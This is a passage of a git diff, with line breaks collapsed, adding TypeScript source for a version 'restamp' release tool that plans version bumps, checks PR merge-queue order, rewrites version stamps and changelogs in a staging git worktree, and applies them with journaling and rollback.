NodeJS.ProcessEnv;+ gh?: (args: string[]) => { ok: boolean; out: string }; failAfter?: string; gateWorktree?: string;+}+export interface RestampResult {+ status: 'stamped' | 'noop' | 'dry-run' | 'refused' | 'failed' | 'gate-ahead';+ code?: ResultCodeName; message?: string; fix?: string;+ oldVersion?: string; newVersion?: string; base?: { ref: string; sha: string }; policy?: string; queueMode?: QueueMode;+ claims?: string; stages: StageRecord[]; diff?: string; files?: string[]; journal?: string; gateAhead?: GateAheadRecord;+ mergeCondition?: string; commands?: Array<{ key: string; command: string; cwd: string }>; expected?: unknown; actual?: unknown; recompute?: string;+}++function sha256(buf: Buffer | string): string { return createHash('sha256').update(buf).digest('hex'); }+function git(cwd: string, args: string[], env?: NodeJS.ProcessEnv): { ok: boolean; out: string; err: string; status: number | null } {+ const r = spawnSync('git', args, { cwd, encoding: 'utf8', timeout: 60_000, env: env ?? process.env });+ return { ok: r.status === 0, out: (r.stdout ?? '').replace(/\n$/, ''), err: (r.stderr ?? '').trim(), status: r.status };+}+class Refusal extends Error { constructor(public code: ResultCodeName, message: string, public extra: Partial<RestampResult> = {}) { super(message); } }++export function ensureTmpExcluded(repoRoot: string): void {+ const ex = git(repoRoot, ['rev-parse', '--git-path', 'info/exclude']);+ if (!ex.ok) return;+ const file = path.isAbsolute(ex.out) ? ex.out : path.join(repoRoot, ex.out);+ fs.mkdirSync(path.dirname(file), { recursive: true });+ const text = fs.existsSync(file) ? fs.readFileSync(file, 'utf8') : '';+ if (!text.split('\n').includes('/.gstack/tmp/')) fs.appendFileSync(file, (text && !text.endsWith('\n') ? '\n' : '') + '/.gstack/tmp/\n');+}++/** The configured version source at a committed revision: `.gstack/version-path` there, else VERSION. */+export function versionAtRef(repoRoot: string, ref: string): { rel: string; version: string } | { error: string } {+ const pin = git(repoRoot, ['show', `${ref}:.gstack/version-path`]);+ const rel = pin.ok && pin.out.split('\n')[0]?.trim() ? pin.out.split('\n')[0]!.trim() : 'VERSION';+ if (rel.includes('..') || path.isAbsolute(rel)) return { error: `.gstack/version-path at ${ref} escapes the repository (${rel})` };+ const show = git(repoRoot, ['show', `${ref}:${rel}`]);+ if (!show.ok) return { error: `${rel} does not exist at ${ref}` };+ const v = extractVersion(show.out + '\n', rel);+ if (!v || !parseVersion(v)) return { error: `${rel} at ${ref} holds no parsable version` };+ return { rel, version: v };+}++function bumped(version: string, level: Bump): string {+ const w = versionWidth(version);+ return fmtVersion(bumpVersion(parseVersion(version)!, level, w), w);+}++function loadPolicy(o: RestampOptions): { loaded: LoadedPolicy; label: string } {+ if (o.policyFrom === 'head') {+ if (!o.allowRepoCommands) throw new Refusal('REPO_COMMANDS_NOT_ALLOWED', '--policy-from head is the unreviewed bootstrap path and needs --allow-repo-commands; nothing written');+ const loaded = loadPolicyFromHead(o.repoRoot);+ return { loaded, label: 'head (unreviewed)' };+ }+ const loaded = loadPolicyFromBase(o.repoRoot, o.base);+ if (isUnavailable(loaded)) throw new Refusal('POLICY_SOURCE_UNAVAILABLE', `policy source unavailable (${loaded.detail}); nothing written`, { fix: `git fetch origin ${o.base} --depth=1` });+ return { loaded, label: loaded.present ? `base ${loaded.source.label}` : `none (defaults; ${loaded.source.label})` };+}++function queueOrderCheck(o: RestampOptions, baseSha: string): void {+ if (!o.expectOrder?.length) return;+ const gh = o.gh ?? ((args: string[]) => { const r = spawnSync('gh', args, { cwd: o.repoRoot, encoding: 'utf8', timeout: 60_000 }); return { ok: r.status === 0, out: r.stdout ?? '' }; });+ const mine = o.pr ?? o.after?.pr ?? null;+ const idx = mine ? o.expectOrder.indexOf(mine) : -1;+ const ahead = idx >= 0 ? o.expectOrder.slice(0, idx) : o.expectOrder;+ const behind = idx >= 0 ? o.expectOrder.slice(idx + 1) : [];+ const actual: Record<string, string> = {};+ for (const pr of [...ahead, ...behind]) {+ const r = gh(['pr', 'view', pr, '--json', 'state,mergeCommit,headRefOid']);+ let info: any = null;+ try { info = JSON.parse(r.out); } catch {}+ if (!r.ok || !info) { actual[pr] = 'unknown'; continue; }+ const merged = info.state === 'MERGED';+ const inBase = merged && info.mergeCommit?.oid ? git(o.repoRoot, ['merge-base', '--is-ancestor', info.mergeCommit.oid, baseSha]).ok : false;+ actual[pr] = merged ? (inBase ? 'merged' : 'merged-not-in-base') : String(info.state ?? 'unknown').toLowerCase();+ }+ const stale = [...ahead.filter(pr => actual[pr] !== 'merged'), ...behind.filter(pr => actual[pr]?.startsWith('merged'))];+ if (stale.length) {+ throw new Refusal('QUEUE_STALE', `queue order moved: ${stale.map(pr => `#${pr}=${actual[pr]}`).join(', ')}`, {+ expected: { order: o.expectOrder, base: o.expectBase ?? null }, actual: { prs: actual, base: baseSha },+ recompute: `gstack-restamp --next --base ${o.base} --expect-base ${baseSha}${mine ? ` --pr ${mine}` : ''} --expect-order ${o.expectOrder.join(',')}`,+ });+ }+}++interface Plan {+ policy: ShipPolicy; policyLabel: string; queueMode: QueueMode; oldVersion: string; newVersion: string; versionRel: string;+ baseVersion: string; branchStamp: string | null; forkVersion: string; baseSha: string; baseRef: string; claims: string; level: Bump; predecessor?: { pr: string; head: string };+}++function planVersions(o: RestampOptions, loaded: LoadedPolicy, policyLabel: string): Plan {+ const baseRef = `origin/${o.base}`;+ const baseSha = git(o.repoRoot, ['rev-parse', '--verify', '--quiet', `${baseRef}^{commit}`]);+ if (!baseSha.ok) throw new Refusal('POLICY_SOURCE_UNAVAILABLE', `${baseRef} is not a resolvable commit; nothing written`, { fix: `git fetch origin ${o.base} --depth=1` });+ if (o.expectBase && !baseSha.out.startsWith(o.expectBase)) {+ throw new Refusal('QUEUE_STALE', `base moved: expected ${o.expectBase}, ${baseRef} is ${baseSha.out}`, {+ expected: { base: o.expectBase }, actual: { base: baseSha.out },+ recompute: `gstack-restamp --next --base ${o.base} --expect-base ${baseSha.out.slice(0, 12)}${o.expectOrder?.length ? ` --expect-order ${o.expectOrder.join(',')}` : ''}`,+ });+ }+ queueOrderCheck(o, baseSha.out);+ const policy = loaded.policy;+ const queueMode = o.queueMode ?? policy.queue_mode;+ const level: Bump = o.bump ?? (policy.bump === 'patch' ? 'patch' : 'micro');+ const atBase = versionAtRef(o.repoRoot, baseSha.out);+ if ('error' in atBase) throw new Refusal('RESTAMP_VERSION_SOURCE', `${atBase.error}; nothing written`);+ const head = versionAtRef(o.repoRoot, 'HEAD');+ const working = fs.existsSync(path.join(o.repoRoot, atBase.rel)) ? extractVersion(fs.readFileSync(path.join(o.repoRoot, atBase.rel), 'utf8'), atBase.rel) : '';+ const oldVersion = working && parseVersion(working) ? working : 'error' in head ? atBase.version : head.version;+ let newVersion: string;+ let claims = 'n/a';+ let predecessor: Plan['predecessor'];+ if (o.after) {+ const ref = o.after.ref ?? `refs/pull/${o.after.pr}/head`;+ const predHead = git(o.repoRoot, ['rev-parse', '--verify', '--quiet', `${ref}^{commit}`]);+ if (!predHead.ok) throw new Refusal('RESTAMP_PREDECESSOR_MOVED', `predecessor #${o.after.pr} head ${ref} is not resolvable; fetch it first; nothing written`);+ const predV = versionAtRef(o.repoRoot, predHead.out);+ if ('error' in predV) throw new Refusal('RESTAMP_VERSION_SOURCE', `${predV.error}; nothing written`);+ newVersion = bumped(predV.version, level);+ predecessor = { pr: o.after.pr, head: predHead.out };+ claims = 'ignored (gate-ahead relative to predecessor)';+ } else if (o.version) {+ if (!parseVersion(o.version)) throw new Refusal('RESTAMP_VERSION_SOURCE', `--version ${o.version} is not MAJOR.MINOR.PATCH[.MICRO]; nothing written`);+ newVersion = o.version;+ } else if (queueMode === 'stamp-at-merge') {+ newVersion = bumped(atBase.version, level);+ claims = 'ignored (stamp-at-merge)';+ } else {+ const r = spawnSync('bun', [path.join(BIN_DIR, 'gstack-next-version'), '--base', o.base, '--bump', level, '--current-version', atBase.version], { cwd: o.repoRoot, encoding: 'utf8', timeout: 120_000, env: o.env ?? process.env });+ let q: any = null;+ try { q = JSON.parse(r.stdout ?? ''); } catch {}+ const usable = r.status === 0 && q && typeof q.version === 'string' && parseVersion(q.version) && (q.offline === false || q.fallback === 'git');+ newVersion = usable ? q.version : bumped(atBase.version, level);+ claims = usable ? `read (claim-at-open; queue ${JSON.stringify(q.claimed ?? q.queue ?? [])})` : 'unverified (claim-at-open; gstack-next-version unusable, local arithmetic)';+ }+ // The branch's own tentative stamp: its VERSION when it moved past base; else nothing (mentions come from the lines it added).+ const branchStamp = oldVersion !== atBase.version ? oldVersion : null;+ return { policy, policyLabel, queueMode, oldVersion, newVersion, versionRel: atBase.rel, baseVersion: atBase.version, branchStamp, forkVersion: forkVersion(o.repoRoot, baseRef, atBase.version), baseSha: baseSha.out, baseRef, claims, level, predecessor };+}++/** The version writer's own files: the version source, the manifest (root or pinned) and the npm lockfiles beside it. */+function versionFiles(root: string, versionRel: string): string[] {+ const pin = path.join(root, '.gstack', 'package-json-path');+ const pkgRel = fs.existsSync(pin) ? (fs.readFileSync(pin, 'utf8').split('\n')[0]?.trim() || 'package.json') : 'package.json';+ const dir = path.dirname(pkgRel) === '.' ? '' : path.dirname(pkgRel) + '/';+ return [versionRel, pkgRel, ...NPM_LOCKFILES.map(l => dir + l)];+}+function allowedOutput(plan: Plan, root: string, rel: string): boolean {+ const p = plan.policy;+ if (versionFiles(root, plan.versionRel).includes(rel)) return true;+ if (p.changelog && rel === p.changelog) return true;+ return matchesAny(p.stamp_paths, rel) || matchesAny(p.release_outputs, rel);+}++interface Hunk { removed: string[]; added: string[] }+export interface FileDiff { path: string; binary: boolean; hunks: Hunk[]; status: 'M' | 'A' | 'D' | 'R' }++/** Parse `git diff --unified=0` into per-file hunks of removed/added lines (shared with lib/tree-receipt.ts). */+export function parseUnifiedDiff(text: string): FileDiff[] {+ const files: FileDiff[] = [];+ let cur: FileDiff | null = null;+ let hunk: Hunk | null = null;+ for (const line of text.split('\n')) {+ if (line.startsWith('diff --git ')) {+ const m = /^diff --git a\/(.+?) b\/(.+)$/.exec(line);+ cur = { path: m?.[2] ?? line.slice(11), binary: false, hunks: [], status: 'M' };+ files.push(cur);+ hunk = null;+ } else if (!cur) continue;+ else if (line.startsWith('new file mode')) cur.status = 'A';+ else if (line.startsWith('deleted file mode')) cur.status = 'D';+ else if (line.startsWith('rename to ')) cur.status = 'R';+ else if (line.startsWith('Binary files')) cur.binary = true;+ else if (line.startsWith('@@')) { hunk = { removed: [], added: [] }; cur.hunks.push(hunk); }+ else if (hunk && line.startsWith('-') && !line.startsWith('---')) hunk.removed.push(line.slice(1));+ else if (hunk && line.startsWith('+') && !line.startsWith('+++')) hunk.added.push(line.slice(1));+ }+ return files;+}++/** The lines a branch itself added, per stamp file: `git diff --unified=0 <since> -- <files>` in `cwd` against its working tree. */+export function branchAddedLines(cwd: string, since: string, files: string[]): Map<string, Set<string>> {+ const out = new Map<string, Set<string>>();+ if (files.length === 0) return out;+ const diff = git(cwd, ['diff', '--unified=0', '--no-color', '--no-ext-diff', since, '--', ...files]);+ for (const f of parseUnifiedDiff(diff.out)) {+ const set = out.get(f.path) ?? new Set<string>();+ for (const h of f.hunks) for (const a of h.added) set.add(a);+ out.set(f.path, set);+ }+ return out;+}++/**+ * The branch's tentative stamps: versions it mentions in a stamp pattern, on+ * lines it added itself, newer than the version at its fork point and not+ * the allocated one. A released version is never newer than the fork point+ * of a branch written against it, and the repo's own version width must+ * match, so a 3-digit dependency pin in a 4-digit repo is never a candidate.+ */+export function tentativeMentions(added: Map<string, Set<string>>, forkVersion: string, newVersion: string): string[] {+ const fork = parseVersion(forkVersion);+ if (!fork) return [];+ const width = versionWidth(forkVersion);+ const found = new Set<string>();+ for (const lines of added.values()) {+ for (const text of lines) {+ for (const m of text.matchAll(/(?:\(was |since:\s*|(?<![A-Za-z0-9.])v)(\d+(?:\.\d+){1,3})(?![0-9.])/g)) {+ const raw = m[1]!;+ const v = parseVersion(raw);+ if (!v || versionWidth(raw) !== width || raw === newVersion || cmpVersion(v, fork) <= 0) continue;+ found.add(raw);+ }+ }+ }+ return [...found];+}++/** The version at the branch's original fork point: the first parent of its oldest own commit (base when it has none). */+export function forkVersion(repoRoot: string, baseRef: string, fallback: string): string {+ const first = git(repoRoot, ['rev-list', '--reverse', '--first-parent', `${baseRef}..HEAD`]).out.split('\n')[0]?.trim();+ if (!first) return fallback;+ const v = versionAtRef(repoRoot, `${first}^`);+ return 'version' in v ? v.version : fallback;+}++/** Exact `(was X)`, `since: X`, `vX` rewrites; anything else in the file stays. */+export function rewriteStamps(text: string, oldVersion: string, newVersion: string): { text: string; count: number } {+ const esc = oldVersion.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');+ const patterns: Array<[RegExp, string]> = [+ [new RegExp(`\\(was ${esc}\\)`, 'g'), `(was ${newVersion})`],+ [new RegExp(`(since:\\s*)${esc}(?![0-9.])`, 'g'), `$1${newVersion}`],+ [new RegExp(`(?<![A-Za-z0-9.])v${esc}(?![0-9.])`, 'g'), `v${newVersion}`],+ ];+ let count = 0;+ let out = text;+ for (const [re, rep] of patterns) {+ count += (out.match(re) ?? []).length;+ out = out.replace(re, rep);+ }+ return { text: out, count };+}++/** Paths the stages changed: worktree vs the seeded index (never index vs HEAD, which is the user's own uncommitted work). */+function changedPaths(staging: string): string[] {+ const modified = git(staging, ['diff', '--name-only', '-z']).out.split('\0');+ const untracked = git(staging, ['ls-files', '--others', '--exclude-standard', '-z']).out.split('\0');+ return [...new Set([...modified, ...untracked])].filter(p => p && !p.startsWith('.restamp-pre/') && p !== 'node_modules');+}++/** A release tool needs the repo's installed dependencies; an ignored top-level node_modules is linked, never copied. */+function linkIgnoredDeps(repoRoot: string, staging: string): void {+ const nm = path.join(repoRoot, 'node_modules');+ if (!fs.existsSync(nm) || fs.existsSync(path.join(staging, 'node_modules'))) return;+ if (!git(repoRoot, ['check-ignore', '-q', 'node_modules']).ok) return;+ try { fs.symlinkSync(nm, path.join(staging, 'node_modules'), 'dir'); } catch {}+}++function runStages(o: RestampOptions, plan: Plan, staging: string, since: string, stages: StageRecord[]): void {+ const stage = (name: StageName): StageRecord => { const s: StageRecord = { name, status: 'pending' }; stages.push(s); return s; };+ const injected = (name: string) => { if (o.failAfter === name) throw new Error(`injected failure after ${name}`); };+ const env = { ...(o.env ?? process.env), GSTACK_RESTAMP_STAGING: '1' };+ const before = new Set(changedPaths(staging));++ const v = stage('version');+ const w = spawnSync('bun', [path.join(BIN_DIR, 'gstack-version-bump'), 'write', '--version', plan.newVersion], { cwd: staging, encoding: 'utf8', timeout: 120_000, env });+ if (w.status !== 0) { v.status = 'failed'; v.detail = (w.stderr ?? '').trim().slice(0, 300); throw new Refusal('RESTAMP_VERSION_SOURCE', `gstack-version-bump write failed: ${v.detail}; nothing written`); }+ v.status = 'done'; v.detail = `wrote ${plan.newVersion}`;+ injected('version');++ const rt = stage('release_tool');+ if (plan.policy.release_tool) {+ const r = spawnSync('sh', ['-c', plan.policy.release_tool], { cwd: staging, encoding: 'utf8', timeout: 600_000, env });+ if (r.status !== 0) { rt.status = 'failed'; rt.detail = (r.stderr ?? r.stdout ?? '').trim().slice(0, 300); throw new Refusal('RESTAMP_RELEASE_TOOL_FAILED', `release_tool exited ${r.status}: ${rt.detail}; nothing written to the branch`); }+ const outside = changedPaths(staging).filter(p => !before.has(p) && !allowedOutput(plan, staging, p));+ if (outside.length) { rt.status = 'failed'; rt.detail = outside.join(', '); throw new Refusal('RESTAMP_OUTPUT_OUTSIDE_ALLOWED', `release_tool wrote outside the allowed set: ${outside.join(', ')}; nothing written to the branch`); }+ rt.status = 'done'; rt.detail = plan.policy.release_tool;+ } else { rt.status = 'skipped'; rt.detail = 'no release_tool in policy'; }+ injected('release_tool');++ const cl = stage('changelog');+ const clRel = plan.policy.changelog;+ const clPath = clRel ? path.join(staging, clRel) : null;+ if (clPath && fs.existsSync(clPath)) {+ const date = (o.now ?? new Date()).toISOString().slice(0, 10);+ const from = o.was ?? plan.branchStamp;+ const r = reheadChangelog(fs.readFileSync(clPath, 'utf8'), { from, to: plan.newVersion, date, file: clRel! });+ if (r.error) { cl.status = 'failed'; cl.detail = r.error.message; throw new Refusal(r.error.code, `${clRel}: ${r.error.message}; nothing written to the branch`); }+ if (r.moved) fs.writeFileSync(clPath, r.text);+ const check = checkChangelog(fs.readFileSync(clPath, 'utf8'), plan.newVersion, clRel!);+ if (check.length) { cl.status = 'failed'; cl.detail = check[0]!.message; throw new Refusal(check[0]!.code, `${check[0]!.path}: ${check[0]!.message}; nothing written to the branch`); }+ cl.status = 'done'; cl.detail = r.moved ? `${r.from} -> ${r.to}` : `already headed ${plan.newVersion}`;+ } else { cl.status = 'skipped'; cl.detail = clRel ? `${clRel} absent` : 'changelog: null'; }+ injected('changelog');++ const sp = stage('stamp_paths');+ if (plan.policy.stamp_paths.length === 0) { sp.status = 'skipped'; sp.detail = 'no stamp_paths in policy'; }+ else {+ const files = git(staging, ['ls-files', '-z']).out.split('\0').filter(f => f && matchesAny(plan.policy.stamp_paths, f));+ for (const rel of files) {+ const why = assertInsideRoot(staging, rel);+ if (why) throw new Refusal('POLICY_CONTAINMENT', `${why}; nothing written`);+ }+ const added = branchAddedLines(staging, since, files);+ const explicit = new Set([...(o.was ? [o.was] : []), ...(plan.branchStamp ? [plan.branchStamp] : [])].filter(v => v !== plan.newVersion));+ const tentative = new Set(tentativeMentions(added, plan.forkVersion, plan.newVersion).filter(v => !explicit.has(v)));+ let touched = 0;+ let total = 0;+ for (const rel of files) {+ const abs = path.join(staging, rel);+ if (!fs.existsSync(abs) || !fs.statSync(abs).isFile()) continue;+ const own = added.get(rel);+ if (explicit.size === 0 && !own) continue;+ let count = 0;+ const out = fs.readFileSync(abs, 'utf8').split('\n').map(line => {+ let text = line;+ for (const old of explicit) { const r = rewriteStamps(text, old, plan.newVersion); text = r.text; count += r.count; }+ if (own?.has(line)) for (const old of tentative) { const r = rewriteStamps(text, old, plan.newVersion); text = r.text; count += r.count; }+ return text;+ }).join('\n');+ if (count) { fs.writeFileSync(abs, out); touched += 1; total += count; }+ }+ const olds = [...explicit, ...tentative];+ sp.status = olds.length ? 'done' : 'skipped';+ sp.detail = olds.length ? `${total} mention(s) in ${touched} file(s) (${olds.join(', ')} -> ${plan.newVersion})` : `no tentative mention newer than the fork version ${plan.forkVersion}`;+ }+ injected('stamp_paths');++ const mi = stage('mirror');+ mi.status = 'skipped'; mi.detail = plan.policy.mirror ? `tier 2: declared ${plan.policy.mirror}, not run` : 'no mirror in policy';+}++function applyToBranch(o: RestampOptions, staging: string, wtree: string, files: string[], journal: Journal, journalPath: string): JournalWrite[] {+ const apply: StageRecord = { name: 'apply', status: 'pending', writes: [] };+ journal.stages.push(apply);+ journal.status = 'applying';+ const save = () => fs.writeFileSync(journalPath, JSON.stringify(journal, null, 2) + '\n');+ const writes = apply.writes!;+ const rollback = (reason: string): never => {+ for (const w of [...writes].reverse()) {+ if (!w.applied) continue;+ const abs = path.join(o.repoRoot, w.path);+ const cur = fs.existsSync(abs) ? sha256(fs.readFileSync(abs)) : null;+ if (cur !== w.post_sha256) { journal.status = 'failed'; save(); throw new Refusal('RESTAMP_CONFLICT', `${reason}; rollback stopped: ${w.path} no longer holds the recorded postimage`); }+ if (w.pre_sha256 === null) fs.rmSync(abs, { force: true });+ else fs.writeFileSync(abs, fs.readFileSync(path.join(staging, '.restamp-pre', w.path)));+ w.applied = false;+ }+ journal.status = 'rolled_back'; apply.status = 'failed'; apply.detail = reason; save();+ throw new Refusal('RESTAMP_CONFLICT', `${reason}; rolled back ${writes.length} write(s)`);+ };+ fs.mkdirSync(path.join(staging, '.restamp-pre'), { recursive: true });+ for (const rel of files) {+ const why = assertInsideRoot(o.repoRoot, rel);+ if (why) throw new Refusal('POLICY_CONTAINMENT', `${why}; nothing written`);+ }+ let n = 0;+ for (const rel of files) {+ const real = path.join(o.repoRoot, rel);+ const stagingFile = path.join(staging, rel);+ const exists = fs.existsSync(real);+ const fingerprinted = git(o.repoRoot, ['rev-parse', '--verify', '--quiet', `${wtree}:${rel}`]);+ if (exists) {+ const cur = git(o.repoRoot, ['hash-object', real]).out;+ if (fingerprinted.ok && cur !== fingerprinted.out) rollback(`${rel} changed in the working tree while the restamp staged`);+ fs.mkdirSync(path.dirname(path.join(staging, '.restamp-pre', rel)), { recursive: true });+ fs.copyFileSync(real, path.join(staging, '.restamp-pre', rel));+ } else if (fingerprinted.ok) rollback(`${rel} was removed from the working tree while the restamp staged`);+ const w: JournalWrite = { path: rel, pre_sha256: exists ? sha256(fs.readFileSync(real)) : null, post_sha256: null, applied: false };+ writes.push(w);+ save();+ if (fs.existsSync(stagingFile)) {+ const bytes = fs.readFileSync(stagingFile);+ fs.mkdirSync(path.dirname(real), { recursive: true });+ const tmp = `${real}.restamp.${process.pid}.tmp`;+ fs.writeFileSync(tmp, bytes);+ fs.renameSync(tmp, real);+ w.post_sha256 = sha256(bytes);+ } else { fs.rmSync(real, { force: true }); w.post_sha256 = null; }+ w.applied = true;+ n += 1;+ save();+ if (o.failAfter === `apply:${n}`) rollback(`injected failure after apply:${n}`);+ }+ apply.status = 'done'; apply.detail = `${writes.length} file(s)`;+ journal.status = 'complete';+ save();+ return writes;+}++function removeWorktree(repoRoot: string, dir: string): void {+ git(repoRoot, ['worktree', 'remove', '--force', dir]);+ fs.rmSync(dir, { recursive: true, force: true });+ git(repoRoot, ['worktree', 'prune']);+}++export function restamp(o: RestampOptions): RestampResult {+ const stages: StageRecord[] = [];+ let staging: string | null = null;+ try {+ const { loaded, label } = loadPolicy(o);+ if (loaded.errors.length) throw new Refusal(loaded.errors[0]!.code, `${SHIP_POLICY_PATH} (${label}): ${loaded.errors[0]!.message} at ${loaded.errors[0]!.path}; nothing written`);+ const commands = declaredCommands(loaded.policy);+ if (commands.length && !o.allowRepoCommands) {+ throw new Refusal('REPO_COMMANDS_NOT_ALLOWED', `repo commands not executed (pass --allow-repo-commands): ${commands.map(c => `${c.key}: ${c.command}`).join('; ')}; nothing written`, { commands });+ }+ const plan = planVersions(o, loaded, label);+ const headSha = git(o.repoRoot, ['rev-parse', 'HEAD']).out;+ const common: Partial<RestampResult> = {+ oldVersion: plan.oldVersion, newVersion: plan.newVersion, base: { ref: plan.baseRef, sha: plan.baseSha }, policy: plan.policyLabel,+ queueMode: plan.queueMode, claims: plan.claims, mergeCondition: headSha, commands,+ };+ ensureTmpExcluded(o.repoRoot);+ const journalPath = path.join(o.repoRoot, JOURNAL_REL);+ if (!o.after && fs.existsSync(journalPath)) {+ try {+ const prior: Journal = JSON.parse(fs.readFileSync(journalPath, 'utf8'));+ if (prior.inputs?.new_version === plan.newVersion && prior.status !== 'complete' && prior.inputs.old_version !== plan.newVersion) { plan.oldVersion = prior.inputs.old_version; plan.branchStamp = prior.inputs.old_version !== plan.baseVersion ? prior.inputs.old_version : plan.branchStamp; }+ } catch {}+ }++ if (o.after) return gateAhead(o, plan, stages, common);++ const wt = spawnSync(path.join(BIN_DIR, 'gstack-wtree'), [], { cwd: o.repoRoot, encoding: 'utf8', timeout: 60_000 });+ const wtree = (wt.stdout ?? '').trim();+ if (wt.status !== 0 || !/^[0-9a-f]{40,64}$/.test(wtree)) throw new Refusal('RESTAMP_CONFLICT', `cannot fingerprint the working tree (${(wt.stderr ?? '').trim()}); nothing written`);+ staging = fs.mkdtempSync(path.join(os.tmpdir(), 'gstack-restamp-staging-'));+ fs.rmSync(staging, { recursive: true, force: true });+ const add = git(o.repoRoot, ['worktree', 'add', '--detach', '-q', staging, 'HEAD']);+ if (!add.ok) throw new Refusal('RESTAMP_CONFLICT', `cannot create the staging worktree: ${add.err}; nothing written`);+ const seed = git(staging, ['read-tree', '--reset', '-u', wtree]);+ if (!seed.ok) throw new Refusal('RESTAMP_CONFLICT', `cannot seed the staging worktree: ${seed.err}; nothing written`);+ linkIgnoredDeps(o.repoRoot, staging);++ runStages(o, plan, staging, git(o.repoRoot, ['merge-base', plan.baseRef, 'HEAD']).out || plan.baseSha, stages);+ const files = changedPaths(staging).sort();+ git(staging, ['add', '-A']);+ const diff = git(staging, ['diff', '--cached', wtree]).out;+ if (files.length === 0) return { ...common, status: 'noop', stages, diff: '', files: [] };+ if (o.dryRun) return { ...common, status: 'dry-run', stages, diff, files };++ fs.mkdirSync(path.dirname(journalPath), { recursive: true });+ const journal: Journal = {+ schema_version: 1, started_at: (o.now ?? new Date()).toISOString(), status: 'staging',+ inputs: { old_version: plan.branchStamp ?? plan.oldVersion, new_version: plan.newVersion, base_ref: plan.baseRef, base_sha: plan.baseSha, policy: plan.policyLabel, wtree, queue_mode: plan.queueMode },+ stages: stages.map(s => ({ ...s })),+ };+ fs.writeFileSync(journalPath, JSON.stringify(journal, null, 2) + '\n');+ applyToBranch(o, staging, wtree, files, journal, journalPath);+ return { ...common, status: 'stamped', stages: journal.stages, diff, files, journal: journalPath };+ } catch (e: any) {+ if (e instanceof Refusal) return { status: e.code === 'RESTAMP_CONFLICT' ? 'failed' : 'refused', code: e.code, message: e.message, stages, ...e.extra };+ return { status: 'failed', code: 'RESTAMP_CONFLICT', message: `${e?.message ?? e}; see ${JOURNAL_REL}`, stages };+ } finally {+ if (staging) removeWorktree(o.repoRoot, staging);+ }+}++/**+ * Gate-ahead: merge the branch and the predecessor's head in a throwaway+ * worktree, stamp N+1 relative to the predecessor there, commit, and record+ * the predecessor head and the evidence branch key. The branch is untouched.+ */+function gateAhead(o: RestampOptions, plan: Plan, stages: StageRecord[], common: Partial<RestampResult>): RestampResult {+ const pred = plan.predecessor!;+ const branchHead = git(o.repoRoot, ['rev-parse', 'HEAD']).out;+ const dir = o.gateWorktree ?? path.join(o.repoRoot, '.gstack', 'tmp', 'gate-ahead-worktree');+ if (fs.existsSync(dir)) removeWorktree(o.repoRoot, dir);+ fs.mkdirSync(path.dirname(dir), { recursive: true });+ const add = git(o.repoRoot, ['worktree', 'add', '--detach', '-q', dir, branchHead]);+ if (!add.ok) throw new Refusal('RESTAMP_CONFLICT', `cannot create the gate-ahead worktree: ${add.err}; nothing written`);+ const env = { ...(o.env ?? process.env), GIT_AUTHOR_NAME: 'gstack-restamp', GIT_AUTHOR_EMAIL: '[email protected]', GIT_COMMITTER_NAME: 'gstack-restamp', GIT_COMMITTER_EMAIL: '[email protected]' };+ const merge = git(dir, ['-c', 'commit.gpgsign=false', 'merge', '--no-ff', '--no-edit', '-q', pred.head], env);+ if (!merge.ok) {+ const conflicts = git(dir, ['diff', '--name-only', '--diff-filter=U']).out.split('\n').filter(Boolean);+ const stampFiles = versionFiles(dir, plan.versionRel);+ const resolvable = conflicts.length > 0 && conflicts.every(c => stampFiles.includes(c) || c === plan.policy.changelog);+ let unresolved: string[] = resolvable ? [] : conflicts;+ if (resolvable) {+ for (const c of conflicts) {+ if (c === plan.policy.changelog) {+ const merged = mergeChangelogs(git(dir, ['show', `:2:${c}`]).out + '\n', git(dir, ['show', `:3:${c}`]).out + '\n');+ if (merged === null) { unresolved = [c]; break; }+ fs.writeFileSync(path.join(dir, c), merged);+ } else git(dir, ['checkout', '--theirs', '--', c]);+ }+ }+ if (unresolved.length) {+ removeWorktree(o.repoRoot, dir);+ throw new Refusal('RESTAMP_MERGE_CONFLICT', `merge of HEAD and predecessor #${pred.pr} (${pred.head.slice(0, 12)}) conflicts in ${unresolved.join(', ') || 'unknown files'}; nothing written`);+ }+ git(dir, ['add', '--', ...conflicts]);+ const done = git(dir, ['-c', 'commit.gpgsign=false', 'commit', '-q', '--no-edit'], env);+ if (!done.ok) { removeWorktree(o.repoRoot, dir); throw new Refusal('RESTAMP_MERGE_CONFLICT', `cannot complete the gate-ahead merge: ${done.err}; nothing written`); }+ }+ runStages(o, plan, dir, pred.head, stages);+ if (o.dryRun) { const diff = git(dir, ['diff']).out; removeWorktree(o.repoRoot, dir); return { ...common, status: 'dry-run', stages, diff, files: changedPaths(dir) }; }+ git(dir, ['add', '-A']);+ const commit = git(dir, ['-c', 'commit.gpgsign=false', 'commit', '-q', '--allow-empty', '-m', `restamp v${plan.newVersion} (gate-ahead after #${pred.pr})`], env);+ if (!commit.ok) { removeWorktree(o.repoRoot, dir); throw new Refusal('RESTAMP_CONFLICT', `cannot commit the gate-ahead stamp: ${commit.err}`); }+ const gatedHead = git(dir, ['rev-parse', 'HEAD']).out;+ const gatedTree = git(dir, ['rev-parse', 'HEAD^{tree}']).out;+ const slug = spawnSync(path.join(BIN_DIR, 'gstack-slug'), [], { cwd: o.repoRoot, encoding: 'utf8', timeout: 30_000 });+ const branchKey = /^BRANCH=(.+)$/m.exec(slug.stdout ?? '')?.[1]?.trim() ?? git(o.repoRoot, ['branch', '--show-current']).out;+ const record: GateAheadRecord = {+ schema_version: 1, pr: o.pr ?? null, predecessor_pr: pred.pr, predecessor_head: pred.head, branch_head: branchHead, gated_head: gatedHead,+ gated_tree: gatedTree, version: plan.newVersion, worktree: dir, evidence_branch_key: branchKey, created_at: (o.now ?? new Date()).toISOString(),+ };+ const file = path.join(o.repoRoot, GATE_AHEAD_REL);+ fs.mkdirSync(path.dirname(file), { recursive: true });+ fs.writeFileSync(file, JSON.stringify(record, null, 2) + '\n');+ return { ...common, status: 'gate-ahead', stages, gateAhead: record, files: [], diff: git(dir, ['show', '--stat', '--format=', 'HEAD']).out, journal: file };+}diff --git a/lib/result-codes.ts b/lib/result-codes.tsindex 1db4086a4..8f9bccd22 100644--- a/lib/result-codes.ts+++ b/lib/result-codes.ts@@ -150,6 +150,117 @@ export const RESULT_CODES = {summary: 'a tool the installer needs before ./setup (git, curl, node, jq) is missing, or the Bun install recipe failed its checksum',fix: 'install the named tool, then re-run bin/gstack-capy-install',},+ // C-stamp (plan C1, C2, C3, C5, C7): ship policy, restamp, tree receipt, ship receipt.+ 